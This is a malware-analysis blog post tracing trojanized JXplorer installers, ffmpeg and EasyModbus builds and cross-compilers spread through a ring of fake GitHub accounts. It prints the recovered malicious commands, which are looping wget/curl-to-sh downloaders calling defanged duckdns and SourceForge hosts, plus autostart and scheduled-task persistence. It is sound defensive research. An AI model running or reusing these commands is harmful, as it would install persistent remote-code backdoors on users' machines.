# The Supreme Backdoor Factory **dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/** Feb 26th, 2019 5:53 pm [Recently I was playing with VirusTotal Intelligence and while testing some dynamic behavior](https://www.virustotal.com/intelligence/) [queries I stumbled upon this strange PE binary (MD5:](https://www.virustotal.com/#/file/5e3bba9a94ff757400ce5a0f2a2a43076c515bc0e3728964b4f58f503ed9917c) ``` 7fce12d2cc785f7066f86314836c95ec ). The file claimed to be an installer for the JXplorer ``` 3.3.1.2, a Java-based “cross platform LDAP browser and editor” as indicated on its official web page. Why was it strange? Mostly because I did not expect an installer for a quite popular LDAP browser to create a scheduled task in order to download and execute PowerShell code from a subdomain hosted by free dynamic DNS provider: I initially planned to keep this write-up short and focus on dissecting suspicious JXplorer binary. However, analyzing the JXplorer binary turned out to be only the first step into the world of backdoored software. ### JXplorer ----- In order to validate my VirusTotal finding I downloaded a matching version of Windows [installer (3.3.1.2) from the official JXplorer SourceForge repository. Unsurprisingly, the MD5](https://sourceforge.net/projects/jxplorer/files/jxplorer/version%203.3.1.2/) hashes of both files were different. Last thing I wanted to do was to disassemble two 7 megabytes PE binaries so I started with simpler checks in order to locate difference(s). As binaries were packed with UPX, I unpacked them with the `upx tool and compared MD5s of` PE sections. The sections were all identical, with exception of the resource section. I was not sure how content of the PE resource section could affect behavior of the installer so I used [VBinDiff to see the exact difference. The tool actually revealed the following modifications:](https://www.cjmweb.net/vbindiff/) The manifest file located in the resource section, specifically the ``` requestedExecutionLevel property. The original file required Administrator ``` privileges ( requireAdministrator ) while the modified was fine with running with caller’s privilege level Additional newline character appended to the file - explaining 1 byte size difference between the files A relatively small (3230 bytes) blob of what seemed to be ZLIB compressed data at offset 0x4be095. Note the clear text file names just before the ZLIB header ( http``` 2.7.9.tm, platform-1.0.10.tm ): ``` ----- The first two differences did not seem to be important so I focused on the last one. The identified ZLIB data was placed in the PE file overlay space and I figured that it was likely part of an archive used by the installer to store JXplorer files. Fortunately, JXplorer web page [mentioned that JXplorer was using the BitRock Install Builder and after short search I](https://bitrock.com/) [managed to find the following Tcl unpacker for BitRock archives: bitrock-unpacker.](https://github.com/greyltc/bitrock-unpacker) Once I installed the [ActiveTcl and downloaded required SDX file I used the](https://www.activestate.com/products/activetcl/) `bitrock-` ``` unpacker script to unpack JXplorer installation files from both installers. Then I used the ``` [WinMerge tool to compare resulting files and directories. To my surprise there were no](http://winmerge.org/) differences which meant that JXplorer application files were left intact. That also meant that I needed to dig a bit further. ----- After going through `bitrock-unpacker code I noticed that it first mounted the` [Metakit](https://equi4.com/metakit/) [database in order to extract installer files that were used to locate and extract the Cookfs](https://wiki.tcl-lang.org/page/cookfs) archive storing JXplorer files. Using existing `bitrock-unpacker code I created` this Tcl script to dump all installer files from the Metakit database to disk. This time comparing BitRock installer files yielded interesting results. WinMerge showed one difference - a file named `http-2.7.9.tm, located in the` ``` \lib\tcl8\8.4\ directory. ``` Despite having the same size and timestamps ( atime, `ctime,` `mtime as extracted from` the Cookfs archive) the file `http-2.7.9.tm (MD5:` `f6648f7e7a4e688f0792ed5a88a843d9,` [VT) extracted from the modified installer did not](https://www.virustotal.com/#/file/f7069ea454fe6e15548ea2450b4f93d904928a0535bb21812885b244b5628926) remind standard `http.tcl module. Instead it contained exactly what I was looking for:` ----- Below is the summary of actions performed by the `http-2.7.9.tm script:` Create a scheduled task named `Notification Push to download and execute` PowerShell code from `hxxp://svf.duckdns[.]org` Write a JAR file (MD5: `9d4aeb737179995a397d675f41e5f97f,` [VT) to](https://www.virustotal.com/#/file/955904c82e953113183aad6a60fef962847549d02f531a62bf00d724c3c482c3) ``` %TEMP%\..\Microsoft\ExplorerSync.db . Create a scheduled task ExplorerSync ``` to execute `ExplorerSync.db` Write a JAR file (MD5: `533ac97f44b4aea1a35481d963cc9106,` [VT) to](https://www.virustotal.com/#/file/536eb0c00f1d4a39ddf9a2eca508897eb2064b4e28e25a3327626b53bad0319d) ``` %TEMP%\BK.jar and execute it with the following command line parameters: hxxp://coppingfun[.]ml/blazebot %USERPROFILE%\Desktop\sup-bot.jar ``` Execute additional JAR file downloaded in the previous step ping a legitimate domain `supremenewyork[.]com` Some of the actions were a bit odd to me (Why would you drop malware(?) to user’s Desktop? Why would you choose that specific domain `supremenewyork[.]com ?). That got` me thinking that I might be dealing with a testing version of modified installer. The names of ----- files ( blazebot, `sup-bot ) did not ring any bells either so I decided to do a bit of online` research. ### Blazebot One of the top Google search results for the keyword `blazebot was this` [YouTube video](https://www.youtube.com/watch?v=XewdaL3UuEw) [created by Stein Sørnson and titled](https://www.youtube.com/channel/UCiNWIOMXfaG3X1SjAWa34Ag) `Blaze Bot Supreme NYC . The video presented a` process of downloading, running and configuring what seemed to be a Java-based sneaker bot (TIL!) called `blazebot /` `Supreme NYC Blaze Bot . Both the YouTube video content` and its description referenced a source from which one can download blazebot: a GitHub repository [steisn/blazebot [Wayback Machine copy]. Git commit messages for that repository](https://github.com/steisn/blazebot) contained following author entries: `Stein Sørnson <[email protected][.]ru>` (sample commit message) suggesting that Stein Sørnson was the owner of both YouTube channel and GitHub repository. With such unique name it was not hard to find another online account related to Stein Sørnson, this time on [SourceForge - allare778 [Wayback Machine]. While the username was](https://sourceforge.net/u/allare778/profile/) set to `allare778 the full name was present in the profile page title:` ----- The `allare778 account owned three projects:` [supremebot [Wayback Machine copy], which referenced previously discussed YouTube](https://sourceforge.net/projects/supremebot/) video and hosted multiple files, including `supremebot.jar (MD5:` `2098d71cd1504c8be229f1f8feaa878b,` [VT), exactly the same file that was also](https://www.virustotal.com/#/file/b2e5dd0ce1e2735e14f817c19613d156cafeddce10d294fb84f9016cc3f8304e) present in the [blazebot GitHub repository (as](https://github.com/steisn/blazebot) `blazebot-1.02.11.jar)` ----- There was also one additional detail concerning blazebot that started to make sense to me much later. While back then I did not have many reasons to analyze that sneaker bot I took a quick look at decompiled Java classes. The bot contained an update functionality that downloaded AES encrypted and RSA signed “update instructions” file from the other project repository belonging to the user `allare778 :` ``` hxxp://allesare.sourceforge[.]net/en-us/bver ``` The implementation of update mechanism seemed to allow project owner to execute arbitrary system commands on hosts running blazebot. ----- At that point I thought that the connection between modified JXplorer installer and the “Supreme NYC Blaze Bot” could be just coincidental. I took a step back and analyzed two JAR files extracted from the `http-2.7.9.tm Tcl script hoping that they will provide further` clues. ### JDL and FEN This was a quick exercise as both JAR files turned out to contain compact downloaders/loaders. The `BK.jar file (MD5:` `533ac97f44b4aea1a35481d963cc9106,` [VT)](https://www.virustotal.com/#/file/536eb0c00f1d4a39ddf9a2eca508897eb2064b4e28e25a3327626b53bad0319d) contained the `jdl package implementing simple downloader. It was responsible for` downloading data from URL provided as a first command line argument and then saving it to a file provided as a second command line argument. The second JAR file `ExplorerSync.db (MD5:` `9d4aeb737179995a397d675f41e5f97f,` [VT) was more interesting as it contained two hardcoded URLs. The](https://www.virustotal.com/#/file/955904c82e953113183aad6a60fef962847549d02f531a62bf00d724c3c482c3) `fen package` implemented an infinite loop trying to download and invoke Java code (from the `fmb` package) from the following two URLs: ``` hxxp://ecc.freeddns[.]org/data.txt hxxp://san.strangled[.]net/stat ``` While the `san.strangled[.]net did not have resolution at the time of analysis, the` ``` ecc.freeddns[.]org DNS A record pointed to 207.38.69[.]206, an IP address hosting ``` [Dynu’s web redirect service. The](https://www.dynu.com/) `ecc.freeddns[.]org was set to redirect HTTP requests` to `jessicacheshire.users.sourceforge[.]net and fortunately the` `data.txt file was` still present there. ### FEimea Portable App As expected the `data.txt (MD5:` `65579b8ed47ca163fae2b3dffd8b4d5a,` [VT) was a yet](https://www.virustotal.com/#/file/86a3802ad5f35262d01efe6b678585db356121807bc28105f43019cbbd0f23fb) another JAR file. Going through decompiled code it was quite evident that code implemented functionality typical for a RAT. This is by no means a complete analysis of the code (there is much more ahead of us!) but I made following observations while skimming through the code: The tool identified itself as `FEimea Portable App - ver. 3.11.2 Mainline . It also` returned following version strings: `Audio system : (none),` `Audio codecs :` ``` (none) while it did not seem to implement any audio related functionality ``` It supported following set of commands: ACCESS, APPEND, BYE, COPY, DOWNLOAD, FETCH, HASH, LIST, LOGOUT, NOOP, PWD, REMOVE, RENAME, SELECT, STAT, VERSION ----- It seemed to use embedded RSA modulus and public exponent to encrypt and decrypt network communication with two hardcoded command and control servers: ``` limons.duckdns[.]org (TCP/13057) and polarbear.freeddns[.]org ``` (TCP/7003) Additionally it reported ROT13 encoded username, operating system type and architecture to the following URL: ``` hxxp://utelemetrics.atwebpages[.]com/update.php?tag= ``` It also had capability of invoking Java code obtained from the hardcoded URL: ``` hxxp://ecc.freeddns[.]org/a2s.txt (not available at the time of analysis) ``` Interestingly it also implemented a very specific function to extract user name value from the `.gitconfig file located in user’s home directory` At that point I ran out of files to analyze but at the same time suspected that with the existence of the FEimea Portable App there is likely much more to this story than just someone playing with the JXplorer installer. I made an assumption that while I might have stumbled upon a testing version of the modified installer there might be other versions floating around. I also expected that some distribution channel for modified installer must exist. ### JXplorer: Part Deux ----- I set out for a hunt. I downloaded latest Windows version (3.3.1.2) of the JXplorer installer from its official website and I compared MD5 hash with installer file hosted on the official [GitHub repository pegacat/jxplorer. They were the same (MD5:](https://github.com/pegacat/jxplorer/releases) ``` c23a27b06281cfa93641fdbb611c33ff ). I did the same with JXplorer installer files ``` downloaded from multiple software hosting websites. Same results. I repeated the process with files grabbed from SourceForge mirrors. All good. Then I searched for JXplorer on GitHub: If not the number of stars assigned to the repositories I would probably have ignored the [results. How come the official JXplorer GitHub repository (pegacat/jxplorer) had 39 stars](https://github.com/pegacat/jxplorer) [while the next one (serkovs/jxplorer [Wayback Machine copy]) had twice as many? The](https://github.com/serkovs/jxplorer) difference was even more striking with subscribers of each repository (11 vs 66). What was [also strange the serkovs/jxplorer was not even a clone of the official JXplorer repository and](https://github.com/serkovs/jxplorer) it only contained a single file - Linux installer for the JXplorer 3.3.1.2: ----- I downloaded Linux installer (32 bit ELF binary) from both repositories and compared the files. Just by looking and their sizes I knew they were different. The original Linux installer file ``` jxplorer-3.3.1.2-linux-installer.run (MD5: ``` `0c00fd22c65932ba9ce58b4ba6107cf0,` [VT) was 7679495 bytes long, while the one](https://www.virustotal.com/#/file/7ff5ff0a124d8e16d7688ae093cfcd859f4be3104f3455cc59d4b15d55a61ffa) [downloaded from serkovs/jxplorer (MD5:](https://github.com/serkovs/jxplorer) `0489493aeb26b6772bf3653aedf75d2a,` [VT) was](https://www.virustotal.com/#/file/21a5f6b003886b26c769132a8ffa06d607260980895a1e7484744fe3107ee099) a bit larger (7954444 bytes). Both files were generated by BitRock Install Builder, the same tool that was used to create Windows version of the installer. I knew the drill and immediately used `bitrock-unpacker` to extract JXplorer software files and then compared them. There were no differences. Next I extracted BitRock installer files - again files were identical so I decided to further inspect the [binary downloaded from the serkovs/jxplorer repository. While skimming through the binary in](https://github.com/serkovs/jxplorer) hex editor I noticed strings characteristic for the UPX packer however my attempt to unpack it with the `upx tool was unsuccessful and I got the` `not packed by UPX error. After a` while I realized that the file lacked usual UPX magic values ( UPX! ) which were replaced by the following string: `L1ma . Fortunately` `upx was able to unpack the file after I replaced all` occurrences of `L1ma with the original value of` `UPX! .` Once I had the unpacked file (MD5: `25c47cf531e913cb4a59b2237ab85963,` [VT) I spent](https://www.virustotal.com/#/file/c4790a8a728e7237a78aa040c3925e697800d5ffeccf1161d22b9fb9dd78a698) some time reverse-engineering it and eventually I found a suspicious function that started with decrypting 704 bytes of data (located at file offset 0x92040) using 256 bytes long XOR key (located at file offset 0x66700). The decrypted data contained 15 null-terminated strings. The ultimate goal of the code was to establish persistence and to execute the following command: ----- ``` /bin/sh -c 'while true;do wget hxxp://yzyaio.onlinewebshop[.]net/act/stat.php? info=SLADE -O -|sh;sleep 60;done>/dev/null 2>&1' ``` The code followed two main paths, depending on privileges it was executed with. When ran with root privileges the code would perform following actions: Create a new systemd service `rpc-statd-sync (with the following description:` `Sync` ``` NFS peers due to a restart ) to execute above one-liner ``` Establish additional persistence for every user in the system by creating a desktop entry ( ~/.config/autostart/.desktop ) to execute above one-liner Without root privileges the code resorted only to infecting current user. ----- While modified software was rather specific, at that stage I did not have any proof that the same entity was behind modification of both (Linux and Windows) JXplorer installers. I was also very curious what else I can find on GitHub. ### The Power of Social Graph I started going through GitHub accounts that starred or subscribed the repository [serkovs/jxplorer and I quickly noticed patterns:](https://github.com/serkovs/jxplorer) Accounts seemed to be created in multiple batches, on specific dates, as if the process was automated ----- Accounts created on 2018-03-04 did not have any content and were simply used to star 41 other repositories Accounts created at earlier dates (February 2018) were used both to host a single repository and to increase authenticity of other repositories by starring and subscribing them There were additional similarities among accounts that hosted repositories: Each account hosted a single repository with a history of one or two commits ----- The author field in the Git commit messages indicated consistent usage of free Slovakian email service `pobox[.]sk, with username often corresponding to the one` [used on GitHub (sample commit message)](https://github.com/serkovs/jxplorer/commit/4d8a7dafcd32c1ef219b458700fb0206f6354232.patch) Timestamps present in the Git commit messages consistently indicated CET time zone Commit messages tended to be consistent among different accounts and repositories, e.g. erroneous message “2st commit” appeared in different repositories belonging to different accounts: [aurelrybar/editbox [Wayback Machine copy],](https://github.com/aurelrybar/editbox) [henrichjahoda/ardublock [Wayback Machine copy]](https://github.com/henrichjahoda/ardublock) Commits seemed to be automated and occurred at specific times among different [accounts and repositories, e.g. gabrieolo/bounceball (2018-04-28 11:11:17),](https://github.com/gabrieolo/bounceball) [karibanker/eug (2018-04-28 11:11:18),](https://github.com/karibanker/eug) [jeanelletobler/gumbo (2018-04-28 11:11:19)](https://github.com/jeanelletobler/gumbo) [Most repositories hosted a single JAR file, usually a game (gabrieolo/bounceball](https://github.com/gabrieolo/bounceball) [[Wayback Machine copy]), tool (jelamarucka/pdfjumbler](https://web.archive.org/web/20190221210327/https://github.com/gabrieolo/bounceball) [[Wayback Machine copy]) or](https://web.archive.org/web/20190221204623/https://github.com/jelamarucka/pdfjumbler) [library (vaclaw281/junit [Wayback Machine copy])](https://github.com/vaclaw281/junit) I eventually ended up using GitHub API and Neo4j to collect and analyze metadata associated with suspicious accounts and repositories. Data showed nothing but a confined network of GitHub accounts starring and subscribing each others’ repositories. As I was limited with time and resources and was not able to analyze each file in each identified repository I resorted to analyzing only a small subset of files. Two of the repositories turned out to contain interesting artifacts that allowed me to draw additional connections and fill existing gaps. Below graph shows “social interactions” between the [serkovs account, two other accounts that I analyzed (mansiiqkal and](https://github.com/serkovs/) [ballory) and a number](https://github.com/ballory/) of related (starred/subscribed) repositories: ----- ### The Missing Link [I decided to inspect content of the ballory/ffmpeg [Wayback Machine copy] repository](https://github.com/ballory/ffmpeg) because it did not contain JAR file(s) like most of other identified repositories - instead it had a bunch of Linux binaries, claiming to contain “FFmpeg Linux Build (64 bit)”. Additionally, the repository stood out as it did not have as many stars and subscribers as others (only 14) however the owner ( ballory ) starred and subscribed at least 60 other repositories according to the collected data. ----- The `readme.txt file present in the repository directly linked to` [www.johnvansickle.com/ffmpeg/, a website hosting static ffmpeg builds for Linux. In fact, file](https://www.johnvansickle.com/ffmpeg/) [names and directory structure matched sample build I downloaded from there. I did not find](https://johnvansickle.com/ffmpeg/builds/ffmpeg-git-amd64-static.tar.xz) that exact build ( ffmpeg-git-20180427-64bit-static.tar.xz listed in the `readme.txt` [file) on www.johnvansickle.com so I was not able to compare files.](https://www.johnvansickle.com/) When I started analyzing the `ffmpeg 64 bit ELF binary (MD5:` `c78ccfc45bfba703cce0fc0c75c0f6af,` [VT) I immediately noticed suspicious code right at](https://www.virustotal.com/#/file/2859b86854018bb4db2226e1ff14a4de4aa0187cd563c705d4ae1dbda0c07086) the entry point. The code was responsible for mapping the binary via `/proc/self/exe and` then jumping to a specific offset, 624 bytes from the end of the file. After dumping and disassembling shellcode occupying last 624 bytes of the binary I was left with a short ----- decryption loop (XOR 0x37, SUB 0x2e) and encrypted data. The decrypted data contained shellcode responsible for forking and executing following command in the child process via ``` execve syscall: /bin/sh -c 'cd /home/`whoami`/.config&&mkdir -p autostart&&cd autostart&&echo [Desktop Entry]>y&&echo Type=Application>>y&&echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/en-us/m -O -|sh;sleep 60;done'">>y&&chmod 755 y&&mv y .desktop' ``` That was exactly what I was looking for. The `allesare SourceForge project was owned by` the account named `allare778 (Stein Sørnson), and this finding created plausible link` between the GitHub user `ballory and that account.` Remaining part of the code was supposed to run in the parent process and was responsible for decrypting (XOR 0x11, SUB 0x31) 162 bytes of data located 786 bytes from the end of the file and jumping to it. The decrypted data seemed to contain original entry point function. The other analyzed binaries from the repository ( ffmpeg-10bit (MD5: `6d5bea9bfe014fc737977e006692ebf3,` [VT),](https://www.virustotal.com/#/file/28af5641501fccc2f4f500b822fabdd20b0081f0d549995de3e250b70dc906da) `ffprobe (MD5:` `98f8600ff072625fd8ff6b3e14675648,` [VT),](https://www.virustotal.com/#/file/66c0800bf203cdb5852de240963fd94ac8f2f8262546aa3f021d989ff4a1d28b) `qt-faststart (MD5:` `e9b58b1e173734b836ed4b74184c320b,` [VT)) contained same pieces of shellcode, located](https://www.virustotal.com/#/file/905057c8b188f05223aab68d59addf2f61fc5611e0322852210b91e4fcade738) at the same offsets from the end of files and used the same decryption routines. The only small differences were in the hardcoded offsets. ### The Even More Missing Link The second repository that yielded interesting results was mansiiqkal/easymodbustcp-udp[java [Wayback Machine copy]. The repository was starred and subscribed by both serkovs](https://web.archive.org/web/20190221205352/https://github.com/mansiiqkal/easymodbustcp-udp-java) [and ballory accounts. The description ( Easy Modbus TCP/UDP/RTU ) and the file name](https://github.com/ballory/) [( EasyModbusJava.jar ) suggested that it contained the EasyModbus Java library.](http://easymodbustcp.net/en/) ----- I downloaded the most recent version (2.8, released on 2017-03-14) of `EasyModbusJava.jar (MD5:` `56668c3915a0aa621d7f07aa11f7c8a9,` [VT) from the official](https://www.virustotal.com/#/file/466d1533a1bdd67b126b992a00820cdaa5e8608cf7567f410a328d5c879a4201) [EasyModbus project page and compared it with](https://sourceforge.net/projects/easymodbustcp-udp-java/files/V2.8/) `EasyModbusJava.jar (MD5:` `4d18388a9b351907be4a9f91785c9997,` [VT) from](https://www.virustotal.com/#/file/d1b19801e477f6297e41bfa040f5fb09e5f34b1e24b2bd90c960dd09a2be85f9) [mansiiqkal/easymodbustcp-udp-java.](https://github.com/mansiiqkal/easymodbustcp-udp-java/) There was no doubt about it, files were different. I used the `zipinfo to list archives’ files` [and metadata. The JAR from mansiiqkal/easymodbustcp-udp-java was a bit larger (97272 vs](https://github.com/mansiiqkal/easymodbustcp-udp-java) 114504 bytes), included one additional file ( INumberOfConnectedClientsChangedDelegator1.class ) and according to timestamps was (re)packaged at 2018-03-22 18:29:58 (which in turn correlated with timestamp present in this [Git commit message).](https://github.com/mansiiqkal/easymodbustcp-udp-java/commit/9df31ca1cc4570565c1af1010407b01a004ab4e3.patch) ----- To be sure these were the only differences I used Jd-Gui to save decompiled Java classes from both JARs and then used WinMerge to see differences. Skipping negligible code formatting artifacts generated by the decompiler here is what I found: The extra file ``` de/re/easymodbus/server/INumberOfConnectedClientsChangedDelegator1.class ``` contained three large byte arrays and what seemed to be a decryption function 12 other classes explicitly imported the ``` INumberOfConnectedClientsChangedDelegator1 class ``` The code present in the `INumberOfConnectedClientsChangedDelegator1 class was` designed to drop files to disk and establish persistence. The code used a custom decryption routine to decrypt an array of bytes and then used resulting blob (3011 bytes in total, MD5: `cf2ca657816af534c07c8ceca167e25b,` [VT) as a source of file content and strings (file](https://www.virustotal.com/#/file/7e79acf9ac55068cdee8e186ebabf5e391a80b294843998f7396ed4ce3039aff) names, system commands). ----- Depending on the operating system type the code was executed on, it performed different actions described below: **Linux** The code dropped a JAR file (MD5: `9d4aeb737179995a397d675f41e5f97f ) to` ``` $HOME/.local/share/bbauto and created a desktop entry persistence by setting $HOME/.config/autostart/none.desktop file to execute the following command: /bin/sh -c "java -jar $HOME/.local/share/bbauto" ``` The code also created an additional desktop entry `$HOME/.config/autostart/.desktop` set it to execute the following command: ``` /bin/sh -c 'while true;do wget hxxp://eln.duckdns[.]org/se -O -|sh;sleep 60;done' ``` **macOS** The code dropped a JAR file (MD5: `9d4aeb737179995a397d675f41e5f97f ) to` ``` $HOME/Library/LaunchAgents/AutoUpdater.dat and established persistence by ``` creating a launch agent called `AutoUpdater` ( $HOME/Library/LaunchAgents/AutoUpdater.plist ). The code also created an additional launch agent called `SoftwareSync set to execute the` following command: ----- ``` /bin/sh -c 'while true;do curl hxxp://eln.duckdns[.]org/se -o -|sh;sleep 60;done' ``` **Windows** The code dropped a JAR file (MD5: `9d4aeb737179995a397d675f41e5f97f ) to` ``` %temp%\..\Microsoft\ExplorerSync.db and established persistence by executing ``` following command: ``` schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f ``` The dropped JAR file (MD5: `9d4aeb737179995a397d675f41e5f97f ) and Windows file and` scheduled task names ( ExplorerSync.db, `ExplorerSync ) were exactly the same as` discovered in the modified JXplorer Tcl installer script. This created another plausible [connection between the mansiiqkal/easymodbustcp-udp-java repository and modified](https://github.com/mansiiqkal/easymodbustcp-udp-java) Windows installer of JXplorer. I also analyzed previous version of the `EasyModbusJava.jar (MD5:` `38f51f6555eba1f559b04e1311deee35,` [VT) file committed to the](https://www.virustotal.com/#/file/23a0a3af2c3a727ae5bf95c0a3d42e3f7ec5c466dd408bcbbbedf2aa4a5b9a5a) [mansiiqkal/easymodbustcp-udp-java repository on](https://github.com/mansiiqkal/easymodbustcp-udp-java) [2018-02-20. It contained the same](https://github.com/mansiiqkal/easymodbustcp-udp-java/commit/8ea457708eeeba4c0bfbdb755ea589b0451c4c9a.patch) additional Java class however code was a bit different due to changes in an encrypted array and offsets referencing decrypted data. When decrypted the blob (3011 bytes long, MD5: `9a3936c820c88a16e22aaeb11b5ea0e7,` [VT) contained mostly the same data as later](https://www.virustotal.com/#/file/9deebbfc461d09aa5999f74552ad843a335751725ed7fe015580209c91b040f1) version. The only notable difference was usage of `%APPDATA% instead of` `%TEMP% as a` base directory for location of dropped JAR file on a Windows systems. ### Summary By following breadcrumbs I was able to discover and draw connections between pieces of malware and online infrastructure: 1. The [modified JXplorer Windows installer found on VirusTotal and modified](https://www.virustotal.com/#/file/5e3bba9a94ff757400ce5a0f2a2a43076c515bc0e3728964b4f58f503ed9917c) [EasyModbus Java library found on GitHub (mansiiqkal/easymodbustcp-udp-java)](https://github.com/mansiiqkal/easymodbustcp-udp-java) dropped the same JAR file (FEN downloader, MD5: ``` 9d4aeb737179995a397d675f41e5f97f ). Further similarities were visible in the ``` dropped file path ( %TEMP%\..\Microsoft\ExplorerSync.db ) and scheduled task name ( ExplorerSync ) ----- 2. GitHub account [mansiiqkal was part of the same social circle as other GitHub](https://github.com/mansiiqkal) accounts: [ballory and](https://github.com/ballory) [serkovs, among others. The accounts were linked by starring and](https://github.com/serkovs) subscribing to the same, confined set of GitHub repositories, including each other’s repositories 3. GitHub account [ballory created the](https://github.com/ballory) [ballory/ffmpeg repository containing modified](https://github.com/ballory/ffmpeg) version of ffmpeg tools. Malicious code present in these tools was set to download a file from the following SourceForge project URL ``` hxxp://allesare.sourceforge[.]net/ . The project was owned by an account ``` named `allare778 (Stein Sørnson). The same account owned another project named` [supremebot, hosting a sneaker bot with the same name (and described as “Supreme](https://sourceforge.net/projects/supremebot/) New York Bot”) 4. The `supremebot.jar file (MD5:` `2098d71cd1504c8be229f1f8feaa878b ) hosted by` [the SourceForge supremebot project was also present in the steisn/blazebot GitHub](https://sourceforge.net/projects/supremebot/) [repository belonging to the account steisn (Stein Sørnson). Additionally the YouTube](https://github.com/steisn) [account Stein Sørnson hosted a](https://www.youtube.com/channel/UCiNWIOMXfaG3X1SjAWa34Ag) [video about “Blaze Bot Supreme NYC”. Coincidentally,](https://www.youtube.com/watch?v=XewdaL3UuEw) the malicious code present in the modified JXplorer Windows installer referenced “blazebot” and `supremenewyork[.]com` 5. GitHub account [serkovs created the](https://github.com/serkovs) [serkovs/jxplorer repository containing modified](https://github.com/serkovs/jxplorer) JXplorer Linux installer file. While the malicious code present in the binary did not reference any previously observed infrastructure both modified JXplorer installers (for Windows and Linux) could be connected by following linked GitHub accounts (see point 1.) ### Is this the end? Let’s find out! Following up on specific indicators found in analyzed files and collected metadata about GitHub repositories I was able to discover additional related pieces of malicious code. I started with VirusTotal hunting capabilities - the search returned a set of binaries belonging to the same malware family: Eimea Lite App. The functionality and supported commands of this malware seems to be closely tied with previously discussed FEimea Portable App. The main difference is that while FEimea Portable App is written in Java, the Eimea Lite App comes in the form of compiled binaries for both Windows and Linux operating systems. Each [observed instance of Eimea Lite App was built into the LAME encoder tool, likely in order to](http://lame.sourceforge.net/) thwart detection. One of the oldest samples uploaded to VirusTotal on 2017-08-26 was (unsurprisingly) named `supreme_bot2.cpl (MD5:` `815db0de2c6a610797c6735511eaaaf9,` [VT). The sample uses](https://www.virustotal.com/#/file/03722893c4990e0233c464e709943fb929b5cc70920c76b84a75f730f052f563) two command and control servers: `sanemarine.duckdns[.]org,` ----- ``` lemonade.freeddns[.]org ; contains two self signed certificates issued for Allesare Ltd. and supports similar set of commands as Java based FEimea Portable App: CAPABILITY EIAPrev1.33 EAUTH SELECT EXAMINE STATUS PWD LIST STAT SEARCH ESEARCH RENAME HASH FETCH COPY APPEND LINK SYMLINK REMOVE ACCESS NOOP LOGOUT ``` The most recent sample `Aero.cpl (MD5:` `dd3a38ee6b5b6340acd3bb8099f928a8,` [VT)](https://www.virustotal.com/#/file/b935aaa10a5b53184f33dfbc7f0314fd0ee11fb740711ce93b5a1c51d8fa1153) was uploaded to VirusTotal on 2018-11-25, which correlates with version string present in the file: ``` Eimea Lite app - ver. 3.11 Mainline Audio system : IMM Framework Audio codecs : pcm lame-mp3 opencore-amrnb soxr Build Nov 25 2018 11:54:25 Win32 ``` This instance uses the same command and control servers that were observed in initially analyzed sample of the FEimea Portable App (MD5: ``` 65579b8ed47ca163fae2b3dffd8b4d5a ): limons.duckdns[.]org and polarbear.freeddns[.]org . ``` My other search focused on further exploration of the GitHub graph. I previously mentioned that suspicious GitHub accounts and repositories created a confined network - however the graph also included entries that seemed to be a bit off. [One of these entries was an account of Andrew Dunkins (adunkins [Wayback Machine](https://github.com/adunkins) copy]), that included a set of nine repositories, each hosting Linux cross compilation tools. Each repository was watched or starred by several already known suspicious accounts. ----- The account seemed to be legitimate at first sight - it included a profile picture and description, which was not consistent with previously discovered accounts. However a look at a sample ELF binary ( i686-w64-mingw32-addr2line, MD5: `b54156221d1c5387b8de0eb4605dc3a0,` [VT) hosted in one of the repositories quickly](https://www.virustotal.com/#/file/6240dcb817db34996360a074a530318c0d6521d7b9cf324da2eff7ad5cbbc250/) proved I was wrong. At the end of the binary there was a shellcode, almost identical to the [one found in the ffmpeg binaries obtained from the ballory/ffmpeg repository. The only](https://github.com/ballory/ffmpeg) difference was that shellcode was set to execute the following command: ``` /bin/sh -c cd /home/`whoami`/.config;mkdir autostart;cd autostart;>y echo [Desktop Entry];>>y echo Type=Application;>>y echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/test/msg -O -|sh;sleep 60;done'";chmod 755 y;mv y .desktop ``` Overall there were 305 backdoored ELF binaries in nine GitHub repositories belonging to Andrew Dunkins. ----- [Following that trail I found one additional account (snacknroll11) that starred some of Andrew](https://github.com/snacknroll11) Dunkins’ repositories and that contained a repository with interesting name and description [(streettalk_priv_bot - Supreme Bot [Wayback Machine copy]).](https://github.com/snacknroll11/streettalk_priv_bot) Despite the name and description of the binary, the file included in that repository ( supremebot.exe ) turned out to be something else - something that I have seen previously and something that provided a great closure for this post. The file `supremebot.exe (MD5:` `6ee28018e7d31aef0b4fd6940dff1d0a,` [VT) was actually](https://www.virustotal.com/#/file/c0313523c28288d01ba52289680b2405c1005ee7bbd0143cf116b0263245d8ba) another modified version of JXplorer 3.3.1.2 installer for Windows. The installer also contained changed `http-2.7.9.tm file (MD5:` `3a75c6b9b8452587b9e809aaaf2ee8c4,` [VT) however some actions performed by the Tcl script were slightly different from the initially](https://www.virustotal.com/#/file/6df26713ba5da9394db23c1d6d4b5ccd124997ebd0bfd59d1a127295c2961f81) analyzed version: It used BITSAdmin and PowerShell to download and execute a batch script from ``` hxxp://enl.duckdns[.]org ``` It dropped a JAR file (MD5: `d7c4a1d4f75045a2a1e324ae5114ea17,` [VT) to](https://www.virustotal.com/#/file/210d12b9fcead69094ca2046c55333c121451f7eec782dd42e220ff11fe7d349) `BR.jar .` The JAR file was another version of previously described JDL downloader So is this the end? I don’t think so :-) ----- ### Appendix **_Please note that GitHub has now removed identified accounts and repositories. Copies_** [of the repositories showing their content are available via Wayback Machine. Where possible](https://web.archive.org/) I included links to Wayback Machine copies in the above post. [List of GitHub accounts](https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_accounts.txt) [List of GitHub repositories](https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_repositories.txt) [List of indicators](https://github.com/dfir-it/supreme-backdoor-factory/blob/master/iocs.csv) ## Comments -----